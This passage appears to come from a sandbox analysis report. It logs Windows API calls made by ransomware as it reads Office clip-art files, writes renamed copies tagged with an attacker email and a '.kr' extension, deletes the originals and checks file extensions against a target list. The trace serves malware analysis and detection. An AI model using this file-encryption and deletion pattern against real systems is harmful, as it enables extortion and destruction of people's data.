(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.207] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.208] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0193.209] GetLastError () returned 0x0 [0193.209] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x380, lpOverlapped=0x0) returned 1 [0193.210] WriteFile (in: hFile=0x54c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x390, lpOverlapped=0x0) returned 1 [0193.211] ReadFile (in: hFile=0x518, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.211] WriteFile (in: hFile=0x54c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0193.211] SetEndOfFile (hFile=0x54c) returned 1 [0193.211] CloseHandle (hObject=0x54c) returned 1 [0193.211] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.211] SetEndOfFile (hFile=0x518) returned 1 [0193.214] CloseHandle (hObject=0x518) returned 1 [0193.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0193.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.636] lstrlenW (lpString=".doc") returned 4 [0193.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.636] lstrlenW (lpString=".docx") returned 5 [0193.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.636] lstrlenW (lpString=".pdf") returned 4 [0193.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.636] lstrlenW (lpString=".xls") returned 4 [0193.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.636] lstrlenW (lpString=".xlsx") returned 5 [0193.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.636] lstrlenW (lpString=".ppt") returned 4 [0193.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.636] lstrlenW (lpString=".zip") returned 4 [0193.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.636] lstrlenW (lpString=".rar") returned 4 [0193.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.636] lstrlenW (lpString=".bz2") returned 4 [0193.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.636] lstrlenW (lpString=".7z") returned 3 [0193.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.636] lstrlenW (lpString=".dbf") returned 4 [0193.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.636] lstrlenW (lpString=".1cd") returned 4 [0193.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.637] lstrlenW (lpString=".jpg") returned 4 [0193.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.637] lstrlenW (lpString=".doc") returned 4 [0193.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString=".docx") returned 5 [0193.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.637] lstrlenW (lpString=".pdf") returned 4 [0193.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString=".xls") returned 4 [0193.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.637] lstrlenW (lpString=".xlsx") returned 5 [0193.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.637] lstrlenW (lpString=".ppt") returned 4 [0193.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.637] lstrlenW (lpString=".zip") returned 4 [0193.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.637] lstrlenW (lpString=".rar") returned 4 [0193.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString=".bz2") returned 4 [0193.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString=".7z") returned 3 [0193.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.637] lstrlenW (lpString=".dbf") returned 4 [0193.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.638] lstrlenW (lpString=".1cd") returned 4 [0193.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0193.638] lstrlenW (lpString=".jpg") returned 4 [0193.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.638] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.638] lstrlenW (lpString="FD00799_.WMF") returned 12 [0193.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0193.801] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=13968) returned 1 [0193.801] CloseHandle (hObject=0x378) returned 1 [0193.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0193.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.388] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.388] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.390] GetLastError () returned 0x0 [0194.390] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3690, lpOverlapped=0x0) returned 1 [0194.393] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x36a0, lpOverlapped=0x0) returned 1 [0194.394] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.394] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0194.394] SetEndOfFile (hFile=0x410) returned 1 [0194.394] CloseHandle (hObject=0x410) returned 1 [0194.394] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.395] SetEndOfFile (hFile=0x3ec) returned 1 [0194.397] CloseHandle (hObject=0x3ec) returned 1 [0194.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0194.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.399] lstrlenW (lpString=".doc") returned 4 [0194.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.399] lstrlenW (lpString=".docx") returned 5 [0194.399] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.399] lstrlenW (lpString=".pdf") returned 4 [0194.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.399] lstrlenW (lpString=".xls") returned 4 [0194.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.399] lstrlenW (lpString=".xlsx") returned 5 [0194.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.399] lstrlenW (lpString=".ppt") returned 4 [0194.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.399] lstrlenW (lpString=".zip") returned 4 [0194.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.400] lstrlenW (lpString=".rar") returned 4 [0194.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".bz2") returned 4 [0194.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".7z") returned 3 [0194.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.400] lstrlenW (lpString=".dbf") returned 4 [0194.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.400] lstrlenW (lpString=".1cd") returned 4 [0194.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.400] lstrlenW (lpString=".jpg") returned 4 [0194.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.400] lstrlenW (lpString=".doc") returned 4 [0194.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".docx") returned 5 [0194.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.400] lstrlenW (lpString=".pdf") returned 4 [0194.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.400] lstrlenW (lpString=".xls") returned 4 [0194.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.400] lstrlenW (lpString=".xlsx") returned 5 [0194.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.400] lstrlenW (lpString=".ppt") returned 4 [0194.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.401] lstrlenW (lpString=".zip") returned 4 [0194.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.401] lstrlenW (lpString=".rar") returned 4 [0194.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString=".bz2") returned 4 [0194.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString=".7z") returned 3 [0194.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.401] lstrlenW (lpString=".dbf") returned 4 [0194.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.401] lstrlenW (lpString=".1cd") returned 4 [0194.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0194.401] lstrlenW (lpString=".jpg") returned 4 [0194.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.401] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.401] lstrlenW (lpString="FD01659_.WMF") returned 12 [0194.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.403] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=31180) returned 1 [0194.403] CloseHandle (hObject=0x3ec) returned 1 [0194.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0194.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.404] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.404] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.405] GetLastError () returned 0x0 [0194.405] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x79cc, lpOverlapped=0x0) returned 1 [0194.407] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x79d0, lpOverlapped=0x0) returned 1 [0194.408] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.409] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0194.409] SetEndOfFile (hFile=0x410) returned 1 [0194.409] CloseHandle (hObject=0x410) returned 1 [0194.409] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.409] SetEndOfFile (hFile=0x3ec) returned 1 [0194.412] CloseHandle (hObject=0x3ec) returned 1 [0194.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0194.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.414] lstrlenW (lpString=".doc") returned 4 [0194.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.414] lstrlenW (lpString=".docx") returned 5 [0194.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.414] lstrlenW (lpString=".pdf") returned 4 [0194.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.414] lstrlenW (lpString=".xls") returned 4 [0194.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.414] lstrlenW (lpString=".xlsx") returned 5 [0194.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.414] lstrlenW (lpString=".ppt") returned 4 [0194.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.414] lstrlenW (lpString=".zip") returned 4 [0194.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.414] lstrlenW (lpString=".rar") returned 4 [0194.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.414] lstrlenW (lpString=".bz2") returned 4 [0194.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.414] lstrlenW (lpString=".7z") returned 3 [0194.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.414] lstrlenW (lpString=".dbf") returned 4 [0194.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.414] lstrlenW (lpString=".1cd") returned 4 [0194.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.415] lstrlenW (lpString=".jpg") returned 4 [0194.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.415] lstrlenW (lpString=".doc") returned 4 [0194.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.415] lstrlenW (lpString=".docx") returned 5 [0194.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.415] lstrlenW (lpString=".pdf") returned 4 [0194.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.415] lstrlenW (lpString=".xls") returned 4 [0194.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.415] lstrlenW (lpString=".xlsx") returned 5 [0194.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.415] lstrlenW (lpString=".ppt") returned 4 [0194.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.415] lstrlenW (lpString=".zip") returned 4 [0194.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.415] lstrlenW (lpString=".rar") returned 4 [0194.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.415] lstrlenW (lpString=".bz2") returned 4 [0194.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.416] lstrlenW (lpString=".7z") returned 3 [0194.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.416] lstrlenW (lpString=".dbf") returned 4 [0194.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.416] lstrlenW (lpString=".1cd") returned 4 [0194.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0194.416] lstrlenW (lpString=".jpg") returned 4 [0194.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.416] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.416] lstrlenW (lpString="FD01660_.WMF") returned 12 [0194.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.417] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=12958) returned 1 [0194.417] CloseHandle (hObject=0x3ec) returned 1 [0194.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0194.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0194.418] SetFilePointerEx (in: hFile=0x3ec, 